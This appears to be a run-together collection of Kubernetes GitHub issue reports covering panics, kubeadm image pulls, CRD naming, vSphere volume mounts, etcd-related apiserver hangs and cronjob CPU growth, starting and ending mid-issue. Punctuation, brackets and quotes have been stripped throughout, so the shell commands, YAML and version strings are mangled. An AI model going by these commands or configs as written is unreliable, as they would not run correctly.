/usr/local/go/src/runtime/asm_amd64.s:509\r /usr/local/go/src/runtime/panic.go:491\r /usr/local/go/src/runtime/panic.go:63\r /usr/local/go/src/runtime/signal_unix.go:367\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_vmss.go:359\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_vmss.go:132\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_vmss.go:194\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_vmss.go:257\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_instances.go:82\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_instances.go:57\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/util/node/controller_utils.go:180\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/nodelifecycle/node_lifecycle_controller.go:239\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/nodelifecycle/node_lifecycle_controller.go:668\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/nodelifecycle/node_lifecycle_controller.go:379\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - create a cluster with azure cloud provider and enable vmss\r - join a lot of nodes  >50  in kubernetes cluster and then remove them.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.0-alpha\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

just got this while running the tests:\r \r    \r goroutine 65  io wait, 1 minutes :\r internal/poll.runtime_pollwait 0x7f7826878c90, 0x72, 0x0 \r         /data/go/src/runtime/netpoll.go:173 +0x57\r internal/poll.  polldesc .wait 0xc420739398, 0x72, 0xc420100600, 0x0, 0x0 \r         /data/go/src/internal/poll/fd_poll_runtime.go:85 +0x9b\r internal/poll.  polldesc .waitread 0xc420739398, 0xffffffffffffff00, 0x0, 0x0 \r         /data/go/src/internal/poll/fd_poll_runtime.go:90 +0x3d\r internal/poll.  fd .accept 0xc420739380, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 \r         /data/go/src/internal/poll/fd_unix.go:372 +0x1a8\r net.  netfd .accept 0xc420739380, 0x7f78268b46c8, 0x0, 0x17c4240 \r         /data/go/src/net/fd_unix.go:238 +0x42\r net.  tcplistener .accept 0xc4200fd210, 0xc4200a7e18, 0x412878, 0x30 \r         /data/go/src/net/tcpsock_posix.go:136 +0x2e\r net.  tcplistener .accepttcp 0xc4200fd210, 0x16083a0, 0xc420737470, 0x14e4d00 \r         /data/go/src/net/tcpsock.go:246 +0x49\r net/http.tcpkeepalivelistener.accept 0xc4200fd210, 0xc4200f8050, 0x14e4d00, 0x2351b80, 0x16d9060 \r         /data/go/src/net/http/server.go:3216 +0x2f\r net/http.  server .serve 0xc4206e4ea0, 0x1877940, 0xc4200fd210, 0x0, 0x0 \r         /data/go/src/net/http/server.go:2770 +0x1a5\r net/http.  server .listenandserve 0xc4206e4ea0, 0x0, 0x0 \r         /data/go/src/net/http/server.go:2711 +0xa9\r k8s.io/kubernetes/cmd/kubeadm/app/cmd.testrunlisttokens.func1 0xc4206e4ea0, 0xc4202d54a0, 0x171e65d, 0x4 \r         /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kubeadm/app/cmd/token_test.go:408 +0x2f\r created by k8s.io/kubernetes/cmd/kubeadm/app/cmd.testrunlisttokens\r         /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kubeadm/app/cmd/token_test.go:407 +0x6a6\r    \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r in the process of running kubeadm init, kubernetes attempted to \ pull images required for setting up a kubernetes cluster\ , and then failed to pull all 4 of the images required.\r \r   what you expected to happen  :\r \r i expected a new cluster to be created, with my vm as the master node.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu 16.04.4 lts\r - kernel  e.g.  uname -a  : 4.4.0\r - install tools: apt\r - others:\r \r   screenshots  \r ! image  https://user-images.githubusercontent.com/16035054/42853527-daa7064a-89eb-11e8-8181-de59a07931d0.png \r _relevant syslog entries_\r ! image  https://user-images.githubusercontent.com/16035054/42853549-f3ee7728-89eb-11e8-85f7-1474f200a475.png \r \r

feature request  :\r   hello, is there a way to create config map only if it does not exist?\r \r   what happened  :\r i need to create config map only if does not exist\r \r   what you expected to happen  :\r create config map only if not exists\r \r \r

while experimenting with \ can we use crds for everything\  i hit this gotcha:\r \r  the customresourcedefinition \ clusters.kops\  is invalid: spec.group: invalid value: \ kops\ : should be a domain with at least one dot \r \r our older api groups were single names - e.g.  autoscaling ,  kops , etc.\r \r i didn't see any particular reason to require a dot in the name - it looks like it might only be to nudge people towards the new-style names  ? .\r \r is there a trick to serving a crd with a \ bare\  api group name?\r \r or alternatively, is there a path whereby we can rename api types into a different api group without breaking anyone?\r \r i guess the final alternative would just be to switch off the validation check, so that we can use crds everywhere.  any reason not to / objections?\r \r cc @kubernetes/sig-api-machinery-feature-requests

what would you like to be added  :\r i would like kubernetes to add in an nsswitch.conf file if it is missing in the container. it should contain:\r hosts: files dns myhostname\r \r   why is this needed  :\r golang/glibc has an undesirable behavior that can lead to security issues, if nsswitch.conf is missing from the container. it can cause resolving in odd ways, such as 'localhost' being resolved to a remote host.\r \r this is a common issue with statically linked go binaries and minimal distribututions such as scratch, busybox, alpine, etc.\r \r golang has thus for not been willing to change the default behavior on their end. since it is a common problem on the kubernetes side, i recommend we put in this guard rail to protect against a common problem.\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r we can use  --max-requests-inflight --max-mutating-requests-inflight  to control the number of the requests. but if too many request about event ,or we use  --etcd-servers-overrides  to override the event etcd and this etcd is too busy. too many event  requests lead to other resource request may fail. for example , maybe 300 event requests are blocking and 100 pod requests can return normally but maybe other 200 pod requests are blocking because of too many requests.\r \r   why is this needed  :\r \r can we add different request limit for event and other resource?just as  --max-event-requests-inflight  .\r because if api server has received too many requests, we should limit the event request or drop some, and need to ensure other resource request.  \r

  \r we are trying to configure vsphere cloud provider for kubernetes cluster, according to below support link for dynamic provisioning from vmware. there was  no problem with kubernetres version  v1.8, the issue appeared after deploying new kubernetes cluster with version 1.12.\r https://vmware.github.io/vsphere-storage-for-kubernetes/documentation/existing.html\r \r   kubernetes version  \r  v1.12.7 \r \r   environment  \r  cluster:   master1,node1,node2 \r  virtualization:   vmware esxi, 6.5.0, 7388607 , each virtual machine node placed on different esxi host, diskuuid is true \r  network:   cisco apic, version 3.2 4e  \r \r \r   problem definition:  \r  storage class, pv, pvc successfull created and bounded, vmdk disk added to virtual machine successfully but node cannot mount this physical disk to virtual path of the pod, there are two different log not sure which one is right, first log mention _\ cloud provider not initialized\ _, if not how vmdk created and attached to virtual machine, second log mention _\ mount failed because not found the ...vmdk\ _ but i can browse from the vcenter mentioned vmdk is in the datastore\  \r \r \r <pre><code> root@kubemaster ~   kubectl get pods pvpod\r name    ready   status              restarts   age\r pvpod   0/1     containercreating   0          17h\r </code></pre>\r \r   kubectl descrice pod pvpod  \r \r <pre><code>\r  root@kubemaster vcp  \r  root@kubemaster vcp   kubectl describe pod pvpod\r name:               pvpod\r namespace:          default\r priority:           0\r priorityclassname:  <none>\r node:               kubenode2/10.1.1.12\r start time:         tue, 14 may 2019 12:52:18 +0300\r labels:             <none>\r annotations:        opflex.cisco.com/computed-endpoint-group: {\ policy-space\ :\ kubernetes\ ,\ name\ :\ kubernetes|kube-default\ }\r                     opflex.cisco.com/computed-security-group:   \r status:             pending\r ip:\r containers:\r   test-container:\r     container id:\r     image:          gcr.io/google_containers/test-webserver\r     image id:\r     port:           <none>\r     host port:      <none>\r     state:          waiting\r       reason:       containercreating\r     ready:          false\r     restart count:  0\r     environment:    <none>\r     mounts:\r       /test-vmdk from test-volume  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-pvf97  ro \r conditions:\r   type              status\r   initialized       true\r   ready             false\r   containersready   false\r   podscheduled      true\r volumes:\r   test-volume:\r     type:       persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:  pvcsc001\r     readonly:   false\r   default-token-pvf97:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-pvf97\r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason       age    from                           message\r   ----     ------       ----   ----                           -------\r   normal   scheduled    8m22s  default-scheduler              successfully assigned default/pvpod to kubenode2\r   warning  failedmount  8m21s  kubelet, kubenode2  mountvolume.setup failed for volume \ pvc-eb27986d-762d-11e9-aff9-005056b068e3\  : mount failed: exit status 32\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/f63bb16e-762d-11e9-aff9-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-eb27986d-762d-11e9-aff9-005056b068e3 --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-eb27986d-762d-11e9-aff9-005056b068e3.vmdk /var/lib/kubelet/pods/f63bb16e-762d-11e9-aff9-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-eb27986d-762d-11e9-aff9-005056b068e3\r output: running scope as unit run-87284.scope.\r mount: special device /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-eb27986d-762d-11e9-aff9-005056b068e3.vmdk does not exist\r   warning  failedmount  8m21s  kubelet, kubenode2  mountvolume.setup failed for volume \ pvc-eb27986d-762d-11e9-aff9-005056b068e3\  : mount failed: exit status 32\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/f63bb16e-762d-11e9-aff9-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-eb27986d-762d-11e9-aff9-005056b068e3 --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-eb27986d-762d-11e9-aff9-005056b068e3.vmdk /var/lib/kubelet/pods/f63bb16e-762d-11e9-aff9-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-eb27986d-762d-11e9-aff9-005056b068e3\r output: running scope as unit run-87288.scope.\r mount: special device /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-eb27986d-762d-11e9-aff9-005056b068e3.vmdk does not exist\r   warning  failedmount  8m20s  kubelet, kubenode2  mountvolume.setup failed for volume \ pvc-eb27986d-762d-11e9-aff9-005056b068e3\  : mount failed: exit status 32\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/f63bb16e-762d-11e9-aff9-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-eb27986d-762d-11e9-aff9-005056b068e3 --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-eb27986d-762d-11e9-aff9-005056b068e3.vmdk /var/lib/kubelet/pods/f63bb16e-762d-11e9-aff9-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-eb27986d-762d-11e9-aff9-005056b068e3\r output: running scope as unit run-87290.scope.\r mount: special device /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-eb27986d-762d-11e9-aff9-005056b068e3.vmdk does not exist\r   warning  failedmount  8m18s  kubelet, kubenode2  mountvolume.setup failed for volume \ pvc-eb27986d-762d-11e9-aff9-005056b068e3\  : mount failed: exit status 32\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/f63bb16e-762d-11e9-aff9-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-eb27986d-762d-11e9-aff9-005056b068e3 --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-eb27986d-762d-11e9-aff9-005056b068e3.vmdk /var/lib/kubelet/pods/f63bb16e-762d-11e9-aff9-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-eb27986d-762d-11e9-aff9-005056b068e3\r output: running scope as unit run-87329.scope.\r mount: special device /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-eb27986d-762d-11e9-aff9-005056b068e3.vmdk does not exist\r   normal   successfulattachvolume  8m17s  attachdetach-controller        attachvolume.attach succeeded for volume \ pvc-eb27986d-762d-11e9-aff9-005056b068e3\ \r   warning  failedmount             8m14s  kubelet, kubenode2  mountvolume.setup failed for volume \ pvc-eb27986d-762d-11e9-aff9-005056b068e3\  : mount failed: exit status 32\r   </pre></code>\r \r \r \r   /var/log/messages  on the node  \r <pre><code>may  8 16:05:32 kubenode1 kubelet: e0508 16:05:32.730158   53933 vsphere_volume_util.go:187  cloud provider not initialized properly\r may  8 16:05:32 kubenode1 systemd: started kubernetes transient mount for /var/lib/kubelet/pods/b52b1433-718a-11e9-a3ef-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-e3705fec-7189-11e9-a3ef-005056b068e3.\r may  8 16:05:32 kubenode1 kubelet: e0508 16:05:32.744639   53933 mount_linux.go:152  mount failed: exit status 32\r may  8 16:05:32 kubenode1 kubelet: mounting command: systemd-run\r may  8 16:05:32 kubenode1 kubelet: mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/b52b1433-718a-11e9-a3ef-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-e3705fec-7189-11e9-a3ef-005056b068e3 --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-e3705fec-7189-11e9-a3ef-005056b068e3.vmdk /var/lib/kubelet/pods/b52b1433-718a-11e9-a3ef-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-e3705fec-7189-11e9-a3ef-005056b068e3\r may  8 16:05:32 kubenode1 kubelet: output: running scope as unit run-57611.scope.\r may  8 16:05:32 kubenode1 kubelet: mount: special device /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-e3705fec-7189-11e9-a3ef-005056b068e3.vmdk does not exist\r may  8 16:05:32 kubenode1 kubelet: e0508 16:05:32.744865   53933 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/vsphere-volume/b52b1433-718a-11e9-a3ef-005056b068e3-pvc-e3705fec-7189-11e9-a3ef-005056b068e3\\\   \\\ b52b1433-718a-11e9-a3ef-005056b068e3\\\  \  failed. no retries permitted until 2019-05-08 16:07:34.74479901 +0300 +03 m=+619.028655111  durationbeforeretry 2m2s . error: \ mountvolume.setup failed for volume \\\ pvc-e3705fec-7189-11e9-a3ef-005056b068e3\\\   uniquename: \\\ kubernetes.io/vsphere-volume/b52b1433-718a-11e9-a3ef-005056b068e3-pvc-e3705fec-7189-11e9-a3ef-005056b068e3\\\   pod \\\ pvpod\\\   uid: \\\ b52b1433-718a-11e9-a3ef-005056b068e3\\\   : mount failed: exit status 32\ mounting command: systemd-run\ mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/b52b1433-718a-11e9-a3ef-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-e3705fec-7189-11e9-a3ef-005056b068e3 --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-e3705fec-7189-11e9-a3ef-005056b068e3.vmdk /var/lib/kubelet/pods/b52b1433-718a-11e9-a3ef-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-e3705fec-7189-11e9-a3ef-005056b068e3\ output: running scope as unit run-57611.scope.\ mount: special device /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-e3705fec-7189-11e9-a3ef-005056b068e3.vmdk does not exist\ \ \ \r may  8 16:05:32 kubenode1 kubelet: e0508 16:05:32.830478   53933 vsphere_volume_util.go:187  cloud provider not initialized properly\r </code></pre>\r \r \r   pv,pvc,sc yaml files  \r <code><pre>\r sc-fast.yaml\r \r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata: \r   name: fast\r provisioner: kubernetes.io/vsphere-volume\r parameters: \r   datastore: kubedatastore\r   diskformat: thin\r   fstype: ext3\r \r pvc.yaml\r \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: pvcsc001\r   annotations:\r     volume.beta.kubernetes.io/storage-class: fast\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 2gi\r \r \r \r pod.yaml\r \r apiversion: v1\r kind: pod\r metadata:\r   name: pvpod\r spec:\r   containers:\r   - name: test-container\r     image: gcr.io/google_containers/test-webserver\r     volumemounts:\r     - name: test-volume\r       mountpath: /test-vmdk\r   volumes:\r   - name: test-volume\r     persistentvolumeclaim:\r       claimname: pvcsc001\r </code></pre>\r \r   output of applied yaml files  \r <code><pre>\r  root@kubemaster vcp   kubectl create -f vsphere-volume-sc-fast.yaml\r storageclass.storage.k8s.io/fast created\r  root@kubemaster vcp  \r  root@kubemaster vcp   kubectl describe storageclass fast\r name:                  fast\r isdefaultclass:        no\r annotations:           <none>\r provisioner:           kubernetes.io/vsphere-volume\r parameters:            datastore=kubedatastore,diskformat=thin,fstype=ext3\r allowvolumeexpansion:  <unset>\r mountoptions:          <none>\r reclaimpolicy:         delete\r volumebindingmode:     immediate\r events:                <none>\r \r  root@kubemaster vcp   kubectl create -f vsphere-volume-pvcsc.yaml\r persistentvolumeclaim/pvcsc001 created\r  root@kubemaster vcp  \r  root@kubemaster vcp   kubectl describe pvc pvcsc001\r name:          pvcsc001\r namespace:     default\r storageclass:  fast\r status:        bound\r volume:        pvc-4aa82312-72ec-11e9-8b74-005056b068e3\r labels:        <none>\r annotations:   pv.kubernetes.io/bind-completed: yes\r                pv.kubernetes.io/bound-by-controller: yes\r                volume.beta.kubernetes.io/storage-class: fast\r                volume.beta.kubernetes.io/storage-provisioner: kubernetes.io/vsphere-volume\r finalizers:     kubernetes.io/pvc-protection \r capacity:      2gi\r access modes:  rwo\r events:\r   type       reason                 age   from                         message\r   normal     provisioningsucceeded  13s   persistentvolume-controller  successfully provisioned volume pvc-4aa82312-72ec-11e9-8b74-005056b068e3 using kubernetes.io/vsphere-volume\r mounted by: <.none>\r \r  root@kubemaster vcp  \r  root@kubemaster vcp   kubectl describe pv  pvc-4aa82312-72ec-11e9-8b74-005056b068e3\r name:            pvc-4aa82312-72ec-11e9-8b74-005056b068e3\r labels:          <none>\r annotations:     kubernetes.io/createdby: vsphere-volume-dynamic-provisioner\r                  pv.kubernetes.io/bound-by-controller: yes\r                  pv.kubernetes.io/provisioned-by: kubernetes.io/vsphere-volume\r finalizers:       kubernetes.io/pv-protection \r storageclass:    fast\r status:          bound\r claim:           default/pvcsc001\r reclaim policy:  delete\r access modes:    rwo\r capacity:        2gi\r node affinity:   <none>\r message:\r source:\r     type:               vspherevolume  a persistent disk resource in vsphere \r     volumepath:          kubedatastore  kubevols/kubernetes-dynamic-pvc-4aa82312-72ec-11e9-8b74-005056b068e3.vmdk\r     fstype:             ext3\r     storagepolicyname:\r events:                 <none>\r </code></pre>\r --------------------\r <code><pre>\r  root@kubemaster vcp  \r  root@kubemaster vcp   kubectl create -f vsphere-volume-pvcscpod.yaml\r pod/pvpod created\r  root@kubemaster vcp  \r  root@kubemaster vcp    kubectl get pod pvpod\r name    ready   status              restarts   age\r pvpod   0/1     containercreating   0          49s\r </code></pre>\r \r   first progress  \r \r in the first place when i run “ vsphere-volume-pvcsc.yaml”  it was not successfully creating the volume, output of the “kubectl describe pvc” message was _no vm found_, than i applied https://github.com/kubernetes/kubernetes/issues/65933 issuecomment-408358655  method to match uuids  even providerid and product serial was same , after than volume created successfully and attached into virtual machine. but pod still containercreating state.\r \r cat /sys/class/dmi/id/product_serial | sed -e 's/^vmware-//' -e 's/-/ /' | awk '{ print toupper $1$2$3$4 \ -\  $5$6 \ -\  $7$8 \ -\  $9$10 \ -\  $11$12$13$14$15$16  }'\r kubectl patch node kubemaster -p '{\ spec\ :{\ providerid\ :\ vsphere://4230456e-d8b2-aed1-e270-740256cbd273\ }}'\r \r   second progress  \r \r we have disgussed with @shahbour at  77663 and we made sure it is not a cloud provider issue even the message \ cloud provider not initialized properly\  message take to the stage while container creating.\r \r

if you start the kube-apiserver while etcd is down or unavailable the apiserver will hang.  there is nothing in the logs to tell you the problem. so if you typo the --etcd_servers= argument you just get a hang and no feedback.  the hang is actually in  pkg/registry/service/ipallocator/controller/repair.go   func  c  repair  runonce   error  somewhere in  c.alloc.get   .  once i debugged the hang to there, i realized it was etcd that was the problem.  it would be nice if we got some sort of error/log/info about why the apiserver is hanging...

https://github.com/kubernetes/kubernetes/pull/21091 issuecomment-183455633:  > suggest adding deployment to the daemon restart suite. we already pkill controller-manager, so all you need to do is create a deployment, wait for it to reach a steady state, and check that it didn't overshoot replicas after the pkill: https://github.com/kubernetes/kubernetes/blob/master/test/e2e/daemon_restart.go l252

see  28399 for various soak cluster failures where kubelet's memory usage exceeds the preset threshold.  i don't think there is a memory leak  as i've randomly checked the kubelet heap profile from the soak cluster a couple of times over last week , but i am not 100% sure. it may be that kubelet simply consumes more memory than before. before jumping to conclusions, it'd be good to validate this. a simple solution may be to run the  resource usage test  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/kubelet_perf.go  continuously using v1.2 kubelet and 1.3 kubelet, and compare the memory usage. if there is a discrepancy, getting the heap profile   /debug/pprof/heap   and compare them.  checking the soak cluster periodically may also help.  if there is nothing out of normal, it's possible that small things accumulated over time and cause the increase. in that case, it'd be ok to bump the limits.   i'd appreciate if anyone is willing to pick this up.   /cc @kubernetes/goog-node   p.s. as for the \ docker runtime\  memory leak, i traced it back to a docker/go-patricia issue  see https://github.com/kubernetes/kubernetes/issues/28124 issuecomment-231804229 , so please just ignore it for now.

panic: storage codec doesn't seem to match given type: internal type not encodable: converting  v1beta1.poddisruptionbudget .v1beta1.poddisruptionbudgetstatus to  v1alpha1.poddisruptionbudget .v1alpha1.poddisruptionbudgetstatus: poddisruptionallowed not present in src /usr/local/go/src/runtime/panic.go:500 +0x1a1 /usr/local/go/src/testing/testing.go:579 +0x25d /usr/local/go/src/runtime/panic.go:458 +0x243 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/storage/cacher.go:192 +0xd39 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/registry/generic/registry/storage_factory.go:61 +0x214 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/registry/policy/poddisruptionbudget/etcd/etcd.go:49 +0x1cc /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/registry/policy/rest/storage_policy.go:52 +0x30b /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/registry/policy/rest/storage_policy.go:36 +0x275 <autogenerated>:1 +0xbf /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/master/master.go:298 +0x2e2 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/master/master.go:228 +0xe0e /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/framework/master_utils.go:230 +0x564 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/framework/master_utils.go:453 +0x50 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/auth/accessreview_test.go:62 +0x119 /usr/local/go/src/testing/testing.go:610 +0x81 /usr/local/go/src/testing/testing.go:646 +0x2ec      see https://github.com/kubernetes/kubernetes/pull/34546 for more details.  cc: @lavalamp @caesarxuchao @davidopp

\r   is this a bug report or feature request?    feature request\r \r more accurately, this is a request to provide a simple additional comment in the godoc for httpgetaction.  namely, state that if the urischeme for a readiness or liveness probe is https, then no attempt is made by the probe to perform certificate path validation.  it's not obvious without reading code that supports the kubelet that this is the case.\r \r   kubernetes version    use  kubectl version  :\r \r 1.5\r \r   environment  :\r \r n/a\r \r \r   what happened  :\r \r the godoc for httpgetaction does not state whether certificate path validation is attempted if urischeme is https.\r \r   what you expected to happen  :\r \r the godoc for httpgetaction should state certificate path validation is not attempted by the probe if urischeme is https.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r n/a\r \r   anything else do we need to know  :\r \r no.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : cronjob cpu\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.5.3\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : centos linux \r -   kernel    e.g.  uname -a  : linux $hostname 4.4.52-1.el7.elrepo.x86_64  1 smp sun feb 26 08:48:14 est 2017 x86_64 x86_64 x86_64 gnu/linux\r \r -   install tools  : kops 1.5.1\r -   others  :\r \r \r   what happened  : i created a cronjob which runs every 5 minutes.  after 1 day i noticed that my nodes were showing a linear increase in cpu starting from when i created the cronjob.  after i deleted all of the completed cronjobs, the cpu usage dropped significantly.\r \r sample pictures:\r \r - https://drive.google.com/file/d/0b_y_m0oonvv8tza5b2r6t2z1zdq/view?usp=sharing\r \r - https://drive.google.com/file/d/0b_y_m0oonvv8m3novju0skf0vvk/view?usp=sharing\r \r \r   what you expected to happen  : the cpu to not increase due to backlog of completed jobs, or for completed jobs to be cleaned up automatically\r \r \r   how to reproduce it    as minimally and precisely as possible :  create a cron job  mine is just a short bash script , let it run for 24 hours and look at a graph of cpu usage over that period.  then delete all \ completed\  versions of the job and watch cpu drop\r \r \r   anything else we need to know  : organic peanut butter gets too hard to spread after chilling the fridge, but a quick 30 seconds in the microwave fixes that.  be sure to remove the lid if it's metal.\r \r

kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.3-beta.0\ , gitcommit:\ b5f9d56cab78ccaad2b726223ba8be5802026f0b\ , gittreestate:\ clean\ , builddate:\ 2017-01-21t11:31:55z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : ubuntu 16.04\r -   kernel    e.g.  uname -a  : linux k8s-master-50e6fac2-0 4.4.0-28-generic  47-ubuntu smp fri jun 24 10:09:13 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : azure acs \r \r \r   what happened  :\r \r i tried to setup glusterfs cluster with heketi and point glusterfs storage class to it with dns entry, but it seems that storageclass is not able to resolve dns address of service.\r \r    \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r   55s\t\t5s\t\t5\t{persistentvolume-controller }\t\t\twarning\t\tprovisioningfailed\tfailed 